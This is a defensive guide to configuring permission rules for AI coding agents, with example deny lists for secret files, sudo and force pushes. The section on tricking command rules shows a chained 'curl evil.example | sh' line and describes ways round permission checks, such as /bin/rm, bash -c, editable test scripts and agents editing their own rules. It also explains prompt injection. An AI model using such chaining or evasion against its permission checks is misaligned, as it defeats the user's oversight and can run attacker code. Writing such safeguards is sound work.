AI agent permissions decide what a coding agent may do on its own, what it must ask you about first, and what it may never do. A safe start: allow reading and searching inside the project, ask before it edits files, runs commands or uses the network, and block secrets, paths outside the project and destructive commands.
The rules only protect you if the app running the agent checks them before each action. Telling the model “don’t delete anything” is a request, not a rule.
What it looks like
You ask the agent to fix a failing test. It reads three files and runs git diff without asking, because those are allowed. Then it wants to edit src/cart.ts, and you get a prompt showing the exact change. You approve. Later it tries git push --force, and nothing happens: that command is blocked, and the agent is told so.
You answered one prompt, and it was one worth reading.
Why do coding agents need permissions?
An agent with a shell can do anything your user account can: delete files, push to a remote, install packages, read your SSH keys, send data to any URL. Most of the time it won’t. But models make mistakes, and they read text you didn’t write, such as web pages, issue comments and package READMEs. That text can contain instructions aimed at the model. This is called prompt injection, and OWASP lists it as the top risk for apps built on language models.
So “the model would never do that” is not a safety plan. Rules checked by the app are.
What should I allow, ask and block?
Allow (runs without asking): read-only work inside the project.
- Read files, list folders, search
git status,git diff,git log
Ask (shows you the exact action first): anything that changes things or reaches outside.
- Edit, create or delete files
- Run any command not on a short safe list
- Install packages
- Fetch URLs
- MCP tools that write data, such as creating issues
git commit,git push
Block (never runs): high damage, little legitimate need.
- Secret files:
.env,*.pem,~/.ssh/, cloud credential folders - Anything outside the project folder
git push --force,sudo,rm -rfon broad paths- Shell startup files, git remotes, system settings
How do I set this up?
Claude Code: rules go in .claude/settings.json in the project (shared with your team), .claude/settings.local.json (just you), or ~/.claude/settings.json (all your projects):
{
"permissions": {
"allow": [
"Bash(git status)",
"Bash(git diff *)",
"Bash(npm test *)"
],
"ask": [
"Bash(git push *)"
],
"deny": [
"Read(**/.env)",
"Read(**/.env.*)",
"Read(~/.ssh/**)",
"Bash(git push --force *)",
"Bash(sudo *)"
]
}
}
Claude Code checks deny first, then ask, then allow. A deny always wins, even over a more specific allow. Run /permissions to see every rule and which file it came from.
Codex: Codex uses a sandbox plus an approval policy instead of a rule list. In ~/.codex/config.toml:
approval_policy = "on-request"
sandbox_mode = "workspace-write"
With workspace-write, Codex can edit inside the project but has no network access unless you turn it on, and .git stays read-only. /permissions switches modes during a session, for example to read-only.
OpenCode: rules go under permission in opencode.json in the project, or in ~/.config/opencode/opencode.json:
{
"$schema": "https://opencode.ai/config.json",
"permission": {
"edit": "ask",
"webfetch": "ask",
"bash": {
"*": "ask",
"git status": "allow",
"git diff *": "allow",
"npm test *": "allow",
"git push --force *": "deny",
"sudo *": "deny"
},
"read": {
"*": "allow",
"*.env": "deny",
"*.env.*": "deny",
"*.env.example": "allow"
}
}
}
Each value is allow, ask or deny. The last matching rule wins, so put the catch-all * first and the specific rules after it.
Contenox: open Permissions in the sidebar. For Read files, Change files and Run commands, choose Allow, Ask me first or Block, then add exceptions such as Never allow these paths. The default set already asks before reading .env or key files, and blocks SSH keys and cloud credentials. When an action needs approval, a Permission required card shows the exact path or command. See built-in tools and permissions.
Can a command rule be tricked?
Yes, and this is where most setups are weaker than they look.
Chained commands. A naive rule allowing git status* would also allow git status; curl evil.example | sh. Claude Code splits commands on &&, ;, | and similar, and every part must be allowed. Check that your agent does the same before you allow anything by prefix.
The same program in another form. Claude Code’s docs are direct about this: a rule blocking rm * doesn’t stop /bin/rm or bash -c 'rm ...'. Command rules cover how the agent usually writes a command; they aren’t a wall around the program. For a hard boundary, use a sandbox.
“Safe” commands that run code. npm test, make, pytest and cargo build all run code from the repository: test files, build scripts, npm lifecycle scripts. If the agent can edit those files and then run the command without asking, it can run anything. Allow these commands only if edits to the files they run still ask.
Should I just skip the prompts?
Most agents have a way: Claude Code’s bypassPermissions mode (--dangerously-skip-permissions), Codex’s --yolo. Claude Code’s docs say to use it only in an isolated container or VM, where a mistake can’t reach your real files or keys, and Codex’s docs advise against it. That is the right answer for long unattended runs: let the sandbox be the boundary instead of you.
On your own machine, fix the cause instead: see why your agent keeps asking, and YOLO mode for what each tool’s off switch really turns off. If you click “yes” without reading, you have too many prompts. Allow the reads and checks that are truly harmless, so the prompts left are ones that deserve your attention.
The same goes for “allow for the rest of the session” buttons. They quietly turn an ask rule into an allow rule you can’t see later. If something is safe enough to never ask about, write it down as a rule.
What should I check before I approve?
- What exactly runs? The full command, not the agent’s summary of it.
- Where? The folder and the file paths.
- Why now? Does it follow from your task, or did it show up right after the agent read a web page or an issue?
A request that doesn’t follow from your task is the most common sign of prompt injection.
Can the agent change its own rules?
It could, if the rules live in a file it may edit. Claude Code treats its .claude folder as a protected path, and Codex keeps .codex read-only inside its sandbox; both protections go away in the modes that skip all checks. For any agent, find out where its rules live and make sure writes there ask or are blocked.
Permissions are not a sandbox
Permissions decide what the agent may attempt. A sandbox limits what any attempt can reach, including a script the agent wrote. Options: Codex’s built-in sandbox, Claude Code’s sandbox setting, a container or VM, a separate OS user, or a cloud agent that works on a copy of the repo. For untrusted repositories, use both. See how to sandbox an AI coding agent.
Related guides
- How to keep secrets away from AI agents: the block list in detail
- How to sandbox an AI coding agent: the boundary rules can’t give you
- What is MCP?: permissions for connected tools
- Git workflow with AI agents: which git steps to keep for yourself
- What is an AI coding agent?